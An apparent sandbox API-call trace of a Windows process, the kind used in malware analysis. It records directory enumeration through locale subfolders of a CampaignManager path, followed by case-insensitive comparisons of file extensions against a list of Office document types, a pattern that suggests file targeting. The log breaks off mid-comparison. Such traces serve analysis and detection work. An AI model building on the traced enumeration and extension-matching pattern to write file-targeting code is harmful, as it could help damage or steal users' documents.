	[0154.732] FindNextFileW (in: hFindFile=0x5dd840, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4551d8, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1
	[0154.732] FindNextFileW (in: hFindFile=0x5dd840, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4551d8, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1
	[0154.732] FindNextFileW (in: hFindFile=0x5dd840, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4551d8, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0
	[0154.732] FindClose (in: hFindFile=0x5dd840 | out: hFindFile=0x5dd840) returned 1
	[0154.733] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x461efb0 | out: hHeap=0x4f0000) returned 1
	[0154.733] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7de1d75, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e47b424, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0154.733] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x461efb0
	[0154.733] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-US\\*", lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7de1d75, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e47b424, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dde00
	[0154.734] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7de1d75, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e47b424, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0154.734] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e47b424, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x906e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
	[0154.734] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e47b424, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6ff37000, ftLastWriteTime.dwHighDateTime=0x1d29856, nFileSizeHigh=0x0, nFileSizeLow=0x22a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1
	[0154.734] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e47b424, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1
	[0154.734] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e47b424, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1
	[0154.735] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e47b424, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0
	[0154.735] FindClose (in: hFindFile=0x5dde00 | out: hFindFile=0x5dde00) returned 1
	[0154.735] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x461efb0 | out: hHeap=0x4f0000) returned 1
	[0154.735] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7de3d39, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e47b424, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ZA", cAlternateFileName="")) returned 1
	[0154.736] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x461efb0
	[0154.736] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-ZA\\*", lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7de3d39, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e47b424, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5ddc80
	[0154.736] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7de3d39, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e47b424, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0154.737] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e47b424, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x906e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
	[0154.737] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e47b424, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6ff37000, ftLastWriteTime.dwHighDateTime=0x1d29856, nFileSizeHigh=0x0, nFileSizeLow=0x22a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1
	[0154.737] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e47b424, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1
	[0154.737] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e47b424, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1
	[0154.737] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e47b424, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0
	[0154.737] FindClose (in: hFindFile=0x5ddc80 | out: hFindFile=0x5ddc80) returned 1
	[0154.738] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x461efb0 | out: hHeap=0x4f0000) returned 1
	[0154.738] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7e82a38, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4a167a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-AR", cAlternateFileName="")) returned 1
	[0154.738] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x461efb0
	[0154.738] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-AR\\*", lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7e82a38, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4a167a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dde00
	[0154.739] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7e82a38, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4a167a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0154.739] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e47b424, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa0a7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
	[0154.739] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e47b424, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x18026100, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x260, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1
	[0154.739] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4a167a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x1a3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1
	[0154.739] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4a167a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1be, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1
	[0154.739] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4a167a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1be, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0
	[0154.739] FindClose (in: hFindFile=0x5dde00 | out: hFindFile=0x5dde00) returned 1
	[0154.740] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x461efb0 | out: hHeap=0x4f0000) returned 1
	[0154.740] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7f2851c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4a167a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-CL", cAlternateFileName="")) returned 1
	[0154.740] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x461efb0
	[0154.740] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-CL\\*", lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7f2851c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4a167a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5ddf40
	[0154.741] FindNextFileW (in: hFindFile=0x5ddf40, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7f2851c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4a167a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0154.741] FindNextFileW (in: hFindFile=0x5ddf40, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4a167a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa0a7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
	[0154.742] FindNextFileW (in: hFindFile=0x5ddf40, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4a167a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x18026100, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x260, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1
	[0154.742] FindNextFileW (in: hFindFile=0x5ddf40, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4a167a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x1a3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1
	[0154.742] FindNextFileW (in: hFindFile=0x5ddf40, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4a167a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1be, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1
	[0154.742] FindNextFileW (in: hFindFile=0x5ddf40, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4a167a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1be, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0
	[0154.742] FindClose (in: hFindFile=0x5ddf40 | out: hFindFile=0x5ddf40) returned 1
	[0154.743] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x461efb0 | out: hHeap=0x4f0000) returned 1
	[0154.743] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7f2a5d6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4a167a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-CO", cAlternateFileName="")) returned 1
	[0154.743] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x461efb0
	[0154.743] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-CO\\*", lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7f2a5d6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4a167a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5ddc80
	[0155.087] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7f2a5d6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4a167a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0155.087] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4a167a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa0a7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1
	[0155.087] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4a167a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x18026100, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x260, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1
	[0155.087] lstrcmpiW (lpString1=".pot", lpString2=".xml") returned -1
	[0155.087] lstrlenW (lpString=".potm") returned 5
	[0155.087] lstrcmpiW (lpString1=".potm", lpString2="e.xml") returned -1
	[0155.087] lstrlenW (lpString=".potx") returned 5
	[0155.087] lstrcmpiW (lpString1=".potx", lpString2="e.xml") returned -1
	[0155.087] lstrlenW (lpString=".ppa") returned 4
	[0155.087] lstrcmpiW (lpString1=".ppa", lpString2=".xml") returned -1
	[0155.087] lstrlenW (lpString=".ppam") returned 5
	[0155.088] lstrcmpiW (lpString1=".ppam", lpString2="e.xml") returned -1
	[0155.088] lstrlenW (lpString=".ppm") returned 4
	[0155.088] lstrcmpiW (lpString1=".ppm", lpString2=".xml") returned -1
	[0155.088] lstrlenW (lpString=".pps") returned 4
	[0155.088] lstrcmpiW (lpString1=".pps", lpString2=".xml") returned -1
	[0155.088] lstrlenW (lpString=".ppsm") returned 5
	[0155.088] lstrcmpiW (lpString1=".ppsm", lpString2="e.xml") returned -1
	[0155.088] lstrlenW (lpString=".ppt") returned 4
	[0155.088] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0155.088] lstrlenW (lpString=".pptm") returned 5
	[0155.088] lstrcmpiW (lpString1=".pptm", lpString2="e.xml") returned -1
	[0155.088] lstrlenW (lpString=".pptx") returned 5
